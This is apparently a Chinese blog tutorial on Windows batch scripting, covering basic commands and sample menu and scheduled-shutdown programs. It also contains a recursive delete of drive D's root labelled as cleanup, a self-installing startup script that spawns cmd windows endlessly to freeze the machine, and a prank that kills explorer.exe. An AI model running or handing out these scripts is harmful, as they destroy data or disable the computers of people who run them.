当前位置:   article > 正文

批处理编写

批处理编写

语法知识:

1.批处理作用:自上而下成批的处理每一条命令,不会管中间某一条命令出错严格执行每一条命令,直到执行最后一条(执行的就是DOS命令)

2.如何创建批处理:扩展名:.bat(修改扩展名时,需要将文件的扩展名显示出来后再进行修改,扩展名也是可以隐藏的,一样的在文件选项里面去设置,选择勾上隐藏扩展名就可以实现)

创建方法:新建一个记事本文件,然后将扩展名改为.bat

案例:新建一个记事本文件,然后将扩展名改为.bat,内容如下,可以再d盘下实现文件清理功能:

d:

cd \

rd . /s/q

(cd \ 是返回到d盘根目录下去实现删除)

3.start后面可以跟打开程序或者打开网页等的各种命令,如果start后面什么都不写就是打开cmd

4.:定义标签名;goto 实现跳转

:加goto命令,可以实现命令区块跳转,比如从:1区块跳转到:3区块执行命令

5.set /p a=请输入时间,然后后一句命令写为shutdown -s -f -t %a%,加上那个/p就可以实现让用户自己输入定时关机的时间;加上判断语句,判断成功执行相应语句,判断不成功就按批处理运行继续执行下面的命令

6.@echo off

作用:关闭执行路径功能,也就是屏蔽执行过程,建议放置在批处理的首行

7.pause

作用:暂停批处理运行,但是加了pause后,其后面的命令得再按回车才能继续执行下面的命令

8.title

作用:为批处理脚本设置标题,设置为什么名字执行框上面就是什么名字,可以放在命令行任意位置

9.echo.

作用:在执行批处理脚本时,可以空一行。

10.作用:设置变量,常用与在脚本中的互动赋值。

互动赋值:set /p time=请输入时间:

引用变量:%time%

应用小程序:

小程序1:

应用案例:由用户自己输入时间去定时关机

@echo off

title 史密斯小程序

echo =====================

echo.

echo 欢迎使用此小程序

echo.

echo =====================

set /p time= 请 输 入 时 间 :

shutdown -s -f -t %time%

echo 定时关机已设置完毕,谢谢使用!

pause

小程序2:

应用案列:由:加上goto实现由用户自己输入选项再输入时间去定时关机或者执行其他区块的功能

@echo off

title 再见吧

color 0a

:menu

cls

echo ======

echo 菜单

echo 1.定时关机

echo 2.查看本机IP

echo 3.退出
echo ======

set /p num=请输入选项:

if "%num%"=="1" goto a

if "%num%"=="2" goto b

if "%num%"=="3" goto c

echo 请正确输入选项数值

pause

goto menu

:a

set /p time=请输入时间(单位/秒):

shutdown -s -f -t %time%

echo 定时关机已设置完毕

pause

goto menu

:b

ipconfig

echo 按任意键返回菜单

pause

goto menu

:c

exit

小程序3:

应用案列:开机启动无限循环启动cmd,然后跳转导致死机蓝屏,例如win2003

copy 文件名.bat "%userprofile%"\「开始」菜单\程序\启动

:d

start

goto d

小程序4:短暂蓝屏又恢复,用来恶搞小程序

@echo off

color 0a

taskkill /im explorer.exe /f >nul 2>nul

echo 傻了吧

ping -n 5 127.0.0.1 >nul 2>nul

start c:\windows\explorer.exe

echo 吓唬你呢

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小小林熬夜学编程/article/detail/177085?site
推荐阅读
相关标签
  

闽ICP备14008679号